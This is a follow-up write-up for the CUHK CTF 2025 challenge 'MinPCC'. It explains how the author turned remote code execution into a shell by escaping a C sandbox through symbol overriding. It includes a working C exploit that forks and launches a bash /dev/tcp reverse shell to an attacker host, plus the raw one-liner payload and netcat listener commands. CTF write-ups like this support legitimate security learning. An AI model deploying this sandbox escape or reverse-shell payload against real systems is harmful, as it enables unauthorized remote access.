---
# System prepended metadata

title: Follow up for CUHK CTF 2025 Challenge "MinPCC"

---

# Follow up for CUHK CTF 2025 Challenge "MinPCC"

This the the follow up to my [writeup](https://hackmd.io/@Soltime5476/H1nMOCh2xe) on the challenge **MinPCC**.  

In that writeup I mentioned how did I abuse symbol resolution in C to escape the challenge sandbox but then end up using an exit code oracle solution.  

I was not very satisfied with how I am unable to obtain a shell despite basically having RCE. So I spent some time looking for other approaches after the contest has ended.  

To recap, we have two major roadblocks on obtaining a shell after disabling the sandbox:

- Our process times out after 1 second, and it is killed with `SIGKILL` so we cannot simply ignore it with a handler.
- `stdin` and `stdout` are connected to local files on the system, so even if we have a shell we cannot input any command or see any output from it.

The first one is very easy to solve, since child processes do not automatically terminate when the parent has died, we can just run our exploit code in a forked child process and it will not be timed out.

The second issue is way more tricky, I was very dumb and tried a few methods that obviously wouldn't work in this challenge's context looking back from now. I decided to include them here regardless as they could still be potential exploitation paths for future challenges.

## Approach 1: Obtain `stdin` and `stdout` from `/dev/tty` or similar files (works locally but not on remote)

If you have tried listing a running shell's fd in its `/proc` entry, you may see something like this:

```bash
$ ps au | grep bash
soltime+     460  0.4  0.7  10012  8448 pts/0    Ss   01:10   0:00 -bash

$ ls -l /proc/460/fd
total 0
lrwx------ 1 soltime5476 soltime5476 64 Oct  6 01:10 0 -> /dev/pts/0
lrwx------ 1 soltime5476 soltime5476 64 Oct  6 01:10 1 -> /dev/pts/0
lrwx------ 1 soltime5476 soltime5476 64 Oct  6 01:10 2 -> /dev/pts/0
lrwx------ 1 soltime5476 soltime5476 64 Oct  6 01:10 255 -> /dev/pts/0
```

The `stdin` `stdout` and `stderr` can be accessed on the special filesystem on `/dev`, and `/dev/tty` is one of such special files that emulates the terminal. We can simply replace our old fd 0-2 with it and we can interact with the new shell spawned locally.  

Of course, the keyword is *locally*, if we want to access the shell on remote, our fd 0-2 would have to be remote *socket* connecting to our machine instead of a tty. Which will only be present within the `chall.sh` process we are interacting with.  

What's worse is that we cannot access socket fd of a process using the `/proc` interface. (calling `open()` on it would just fail with `No such device or address`) So we would have to look for another way to transfer file descriptor across processes other than `/proc`, which leads me to approach 2.

## Approach 2: Transfer socket fd from grandparent process using `pidfd_getfd()` (only works in very specific circumstances)

The idea is simple, if we walk up the process tree, eventually we will reach `chall.sh` which contains `stdin` and `stdout` as remote sockets. In this case since our code is ran with the `timeout` command, our parent process is `timeout` then `timeout`'s parent is `chall.sh`.  

Before doing anything, we first have to obtain the pid of the *grandparent*, which we cannot access directly. So we would have to read it from parent's `/proc/pid/status`. The high level plan is:

- obtain ppid with `getppid()`
- read `/proc/ppid/status` to get grandparent's pid
- use `pidfd_getfd()` to obtain grandparent's fd 0-2.

`pidfd_getfd()` is the syscall designed exactly for our purpose (obtaining a socket fd from another process), however using it would require us to pass the `PTRACE_MODE_ATTACH_REALCREDS` ptrace access [check](https://man7.org/linux/man-pages/man2/pidfd_getfd.2.html).

By checking `/proc/sys/yama/ptrace_scope` on the system, we know is set to `1` (which is generally the default), we cannot just randomly obtain fds from other processes even if they are under the same *RUID*. though in the rare case where `ptrace_scope` is set to `0` (so the above check can pass), this could still be a possible explotation method.

## Approach 3: Reverse shell (works both locally and on remote)

I spent a whole day with the first two approaches, then decided that maybe patching the `stdin` and `stdout` of our exploit process is not the right approach after all. If we already have RCE, why just focus on opening or copying some pseudofiles? That's how opening a reverse shell came to my mind.  

Submitting a quick snippet shows that the remote server does allow outbound internet traffic.

```c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

extern int main();
extern int clearenv(void);
extern int prctl();
extern long int syscall(long int __sysno, ...);

long int syscall(long int __sysno, ...) {
    return 0;
}

int clearenv() {
    return 0;
}

int prctl() {
    return 0;
}

int main() {
    // asm("subq $8, %rsp");
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(80);
    server.sin_addr.s_addr = inet_addr("23.2.16.34"); // example.com
    if (connect(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        exit(159);
    }
    exit(0);
    return 0;
}
```

Which means a reverse shell is possible, what's left is just grabbing a reverse shell payload and put it in our exploit code.

[reverse shell payload generator](https://www.revshells.com/)
```bash
/bin/bash >& /dev/tcp/0.0.0.0/6969 0>&1
```

### final exploit 

```c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>

extern int main();
extern int clearenv(void);
extern int prctl();
extern long int syscall(long int __sysno, ...);
extern void perror(const char *s);

long int syscall(long int __sysno, ...) {
    return 0;
}

void perror(const char *s) {
    main();
}

int clearenv() {
    return 0;
}

int prctl() {
    return 0;
}

int main() {
    asm("subq $8, %rsp");
    int pid = fork();
    if (pid < 0) {
        exit(159);
    }
    else if (!pid) {
        close(0);
        close(1);
        close(2);
        system("printf '/bin/bash >& /dev/tcp/REDACTED/6969 0>&1' | /bin/bash");
    }
    usleep(900000);
    exit(0);
    return 0;
}
```

A few notes on the exploit code:

- We shouldn't use `-i` to run an interactive shell because the challenge is hosted as a daemon.
- When we are running the payload using `system()`, our stack pointer has to be properly aligned to 16 bytes, but since we have hijacked the function frames with symbol overriding, our stack frame is not properly aligned, the easiest way to fix this is via the inline assembly `asm("subq $8, %rsp");`
- Another issue related to `system()` is that it uses `sh` to run our command, which does not support the `/dev/tcp/...` interface, so we will have to use `printf` to indirectly call `/bin/bash` to run our payload (or run the command with `bash -c`).

Listen on port 6969 before you send the exploit code and you shall see a reverse shell connected to your machine :partying_face:.

```bash
nc -lvnp 6969
ncat -lvnp 6969
```

![reverse shell success](https://hackmd.io/_uploads/ryG0C-lalx.png)
